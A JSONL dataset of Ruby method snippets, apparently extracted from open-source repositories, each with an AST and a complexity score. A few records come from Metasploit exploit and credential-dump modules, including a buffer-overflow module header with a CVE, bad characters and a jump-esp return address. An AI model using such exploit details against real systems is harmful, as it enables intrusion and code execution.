{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/pager.rb","start_line":26,"raw_source":"def apply_headers(last_record_in_page)\n          return unless last_record_in_page\n\n          lower_bounds = last_record_in_page&.slice(page.order_by.keys)\n          next_page = page.next(lower_bounds)\n\n          request.apply_headers(next_page)\n        end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_headers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"last_record_in_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_record_in_page\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"lower_bounds\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_record_in_page\"]},\"slice\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"order_by\"]},\"keys\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"next_page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"next\",{\"type\":\"lvar\",\"children\":[\"lower_bounds\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"apply_headers\",{\"type\":\"lvar\",\"children\":[\"next_page\"]}]}]}]}","id":"06c91fcd-5c65-49eb-b75a-c6450d2e9c80"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/admin/account_serializer.rb","start_line":32,"raw_source":"def silenced\n    object.silenced?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"silenced\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"silenced?\"]}]}","id":"54e24702-cef9-44d0-93e5-e59a953f5a4d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/personal_access_tokens_helpers.rb","start_line":38,"raw_source":"def finder_params(current_user)\n        user_param =\n          if current_user.can_admin_all_resources?\n            if params[:user_id].present?\n              user = user(params[:user_id])\n\n              not_found! if user.nil?\n\n              { user: user }\n            else\n              not_found! if params.key?(:user_id)\n\n              {}\n            end\n          else\n            { user: current_user, impersonation: false }\n          end\n\n        declared(params, include_missing: false).merge(user_param)\n      end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"finder_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_param\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"can_admin_all_resources?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"not_found!\"]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"not_found!\"]},null]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"impersonation\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"declared\",{\"type\":\"send\",\"children\":[null,\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_missing\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"user_param\"]}]}]}]}","id":"cb2c027d-609c-4a28-860d-a19d20321467"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/bridge.rb","start_line":359,"raw_source":"def expose_protected_project_variables?\n      return true if downstream_project.nil?\n      return true if project.id == downstream_project.id\n\n      false\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expose_protected_project_variables?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"downstream_project\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"downstream_project\"]},\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"69ad7d4e-a1e9-4149-ad90-25b2054dcee6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/oidc/step_up_authentication_flow.rb","start_line":31,"raw_source":"def failed?\n          state.to_s == STATE_FAILED.to_s\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"failed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATE_FAILED\"]},\"to_s\"]}]}]}","id":"6d20b53f-9e6c-4437-9382-5311f2dda738"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/set_crm_contacts_service.rb","start_line":118,"raw_source":"def add_present?\n      params[:add_ids].present? || params[:add_emails].present?\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"add_ids\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"add_emails\"]}]},\"present?\"]}]}]}","id":"aa3a59b2-52ad-48c1-a9b4-9ebdf408e040"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1080,"raw_source":"def test_adding_a_mismatch_class\n    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }\n    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }\n    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }\n  end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_adding_a_mismatch_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"AssociationTypeMismatch\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"clients_of_firm\"]},\"<<\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"AssociationTypeMismatch\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"clients_of_firm\"]},\"<<\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"AssociationTypeMismatch\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"clients_of_firm\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"18ac97c6-1dcf-4ef7-ac4b-2e5ab9677020"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/personal_access_tokens_finder.rb","start_line":123,"raw_source":"def by_last_used_before(tokens)\n    return tokens unless params[:last_used_before]\n\n    tokens.last_used_before(params[:last_used_before])\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_last_used_before\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_used_before\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"last_used_before\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_used_before\"]}]}]}]}]}","id":"0da47307-890b-49d0-bba9-02bd486c5516"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/yahoogroup.rb","start_line":32,"raw_source":"def execute\n    puts \"\", \"Importing from Mongodb....\"\n\n    import_users\n    import_discussions\n\n    puts \"\", \"Done\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing from Mongodb....\"]}]},{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_discussions\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Done\"]}]}]}]}","id":"e4796224-82e6-49e1-bb5d-9c2c94f30db8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb","start_line":181,"raw_source":"def negotiate_telnet(sock)\n    login = read_telnet(sock, \"login: $\")\n    if login\n      sock.put(\"#{@user}\\r\\n\")\n    end\n    return read_telnet(sock, \"> $\")\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"negotiate_telnet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"login\",{\"type\":\"send\",\"children\":[null,\"read_telnet\",{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"str\",\"children\":[\"login: $\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_telnet\",{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"str\",\"children\":[\"> $\"]}]}]}]}]}","id":"01fb3d8f-c64e-4308-ac28-610f8f288387"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/formatters/terminal256.rb","start_line":78,"raw_source":"def bg\n          return @bg if instance_variable_defined? :@bg\n          @bg = style.bg && self.class.color_index(style.bg)\n        end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"bg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@bg\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bg\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@bg\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"bg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"color_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"bg\"]}]}]}]}]}]}","id":"53729de6-60c2-4887-a315-767152e785ab"}
{"repo_name":"forem","file_path":"./repos/forem/spec/services/notifications/new_follower/send_spec.rb","start_line":11,"raw_source":"def follow_data(follow)\n    {\n      followable_id: follow.followable_id,\n      followable_type: follow.followable_type,\n      follower_id: follow.follower_id\n    }\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"follow_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"follow\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow\"]},\"followable_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followable_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow\"]},\"followable_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"follower_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow\"]},\"follower_id\"]}]}]}]}","id":"6bec3a7b-80de-468e-b848-43aa5cf4cbd4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/permission_types/merge_request.rb","start_line":30,"raw_source":"def can_approve\n        object.eligible_for_approval_by?(context[:current_user])\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"can_approve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"eligible_for_approval_by?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]}]}","id":"fb8cf516-a6dc-4498-bea6-abfc25e345f6"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":922,"raw_source":"def body_url?\n    body_url.present? # Returns true if body_url is not nil or an empty string\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"body_url?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body_url\"]},\"present?\"]}]}","id":"696128ce-36d4-42b3-b56e-f07f70e81ae3"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/signing.rb","start_line":527,"raw_source":"def result_hash(request_data)\n            {\n              algorithm: request_data[:algorithm],\n              credential: credential_from_request(request_data),\n              signed_headers: request_data[:canonical_request].signed_headers,\n              signature: request_data[:signature],\n              canonical_request: request_data[:creq],\n              string_to_sign: request_data[:sts]\n            }\n          end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"result_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request_data\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"algorithm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential\"]},{\"type\":\"send\",\"children\":[null,\"credential_from_request\",{\"type\":\"lvar\",\"children\":[\"request_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signed_headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"canonical_request\"]}]},\"signed_headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signature\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"signature\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"canonical_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"creq\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"string_to_sign\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sts\"]}]}]}]}]}","id":"70f384bf-1fa9-4968-bf47-7940a20b0009"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/google_maps/records_importer.rb","start_line":18,"raw_source":"def call(locations)\n    Array(locations).each_slice(BATCH_SIZE) do |location_batch|\n      batch = location_batch.map { prepare_location_data(_1) }\n      bulk_insert_points(batch)\n      broadcast_import_progress(import, current_index)\n    end\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"locations\"]}]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location_batch\"]},\"map\"]},1,{\"type\":\"send\",\"children\":[null,\"prepare_location_data\",{\"type\":\"lvar\",\"children\":[\"_1\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"bulk_insert_points\",{\"type\":\"lvar\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[null,\"broadcast_import_progress\",{\"type\":\"send\",\"children\":[null,\"import\"]},{\"type\":\"send\",\"children\":[null,\"current_index\"]}]}]}]}]}","id":"583222fa-265f-4f83-a5ef-cb3cac58b659"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/whatsupgold_credential_dump.rb","start_line":454,"raw_source":"def parse_conn_str(db_str)\n    res = {}\n    db_connection_elements = db_str.split(';')\n    db_connection_elements.each do |element|\n      pair = element.to_s.split('=', 2)\n      k = pair[0]\n      v = pair[1]\n      res[k.upcase] = v\n    end\n    res\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_conn_str\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db_str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"db_connection_elements\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_str\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_connection_elements\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pair\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"k\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"upcase\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"5558825b-9e56-406d-8533-81f1faafcea9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":583,"raw_source":"def test_member_on_unloaded_relation_with_offset\n    assert_queries_match(/ORDER BY name ASC/) do\n      assert_equal true, Customer.offset(1).order(\"name ASC\").member?(customers(:mary))\n    end\n  end","complexity_score":9.58,"ast_json":"{\"type\":\"def\",\"children\":[\"test_member_on_unloaded_relation_with_offset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ORDER BY name ASC\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"offset\",{\"type\":\"int\",\"children\":[1]}]},\"order\",{\"type\":\"str\",\"children\":[\"name ASC\"]}]},\"member?\",{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"mary\"]}]}]}]}]}]}","id":"93359e80-ad4d-4180-bf93-4b3bd25e860c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/addressable_url_validator.rb","start_line":73,"raw_source":"def initialize(options)\n    options.reverse_merge!(DEFAULT_OPTIONS)\n\n    super(options)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"reverse_merge!\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_OPTIONS\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"bcb790b9-7224-45b1-b585-43373c55b028"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/artifacts_controller.rb","start_line":180,"raw_source":"def entry\n    @entry = build.artifacts_metadata_entry(params[:path])\n\n    render_404 unless @entry.exists?\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"entry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@entry\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"artifacts_metadata_entry\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entry\"]},\"exists?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}]}","id":"117b50fe-b3e2-493b-99f9-4340a2477a23"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/base/relation_factory.rb","start_line":109,"raw_source":"def predefined_relation?\n          relation_class.try(:predefined_id?, @relation_hash['id'])\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"predefined_relation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation_class\"]},\"try\",{\"type\":\"sym\",\"children\":[\"predefined_id?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}","id":"0dea35ae-a85a-4bb7-9cc2-33b5c3b6f531"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_service.rb","start_line":71,"raw_source":"def track_start_import\n      has_importer? && importer_class.try(:track_start_import, project)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"track_start_import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_importer?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"importer_class\"]},\"try\",{\"type\":\"sym\",\"children\":[\"track_start_import\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}","id":"74fbb902-ca2c-47ff-b244-21274b48fae7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2062,"raw_source":"def find_or_initialize_integrations\n    Integration\n      .available_integration_names(include_instance_specific: false)\n      .difference(disabled_integrations)\n      .map { find_or_initialize_integration(_1) }\n      .sort_by { |int| int.title.downcase }\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_initialize_integrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integration\"]},\"available_integration_names\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_instance_specific\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"difference\",{\"type\":\"send\",\"children\":[null,\"disabled_integrations\"]}]},\"map\"]},1,{\"type\":\"send\",\"children\":[null,\"find_or_initialize_integration\",{\"type\":\"lvar\",\"children\":[\"_1\"]}]}]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"int\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int\"]},\"title\"]},\"downcase\"]}]}]}","id":"aad0dbd9-c0c6-437b-baa5-0d1d4b3ae8c4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/bea_weblogic_jsessionid.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'BEA WebLogic JSESSIONID Cookie Value Overflow',\n        'Description' => %q{\n          This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable\n          code is only accessible when clustering is configured. A request containing a\n          long JSESSION cookie value can lead to arbitrary code execution.\n        },\n        'Author' => 'pusscat',\n        'References' => [\n          [ 'CVE', '2008-5457' ],\n          [ 'OSVDB', '51311' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'seh',\n        },\n        'Privileged' => true,\n        'Platform' => 'win',\n        'Payload' => {\n          'Space' => 800,\n          'BadChars' => \"\\x00\\x0d\\x0a\\x20\\x3B\\x3D\\x2C\",\n          'StackAdjustment' => -3500,\n        },\n        'Targets' => [\n          [\n            'Windows Apache 2.2 - WebLogic module version 1.0.1136334',\n            {\n              'Ret' => 0x1006c9b5,    # jmp esp\n            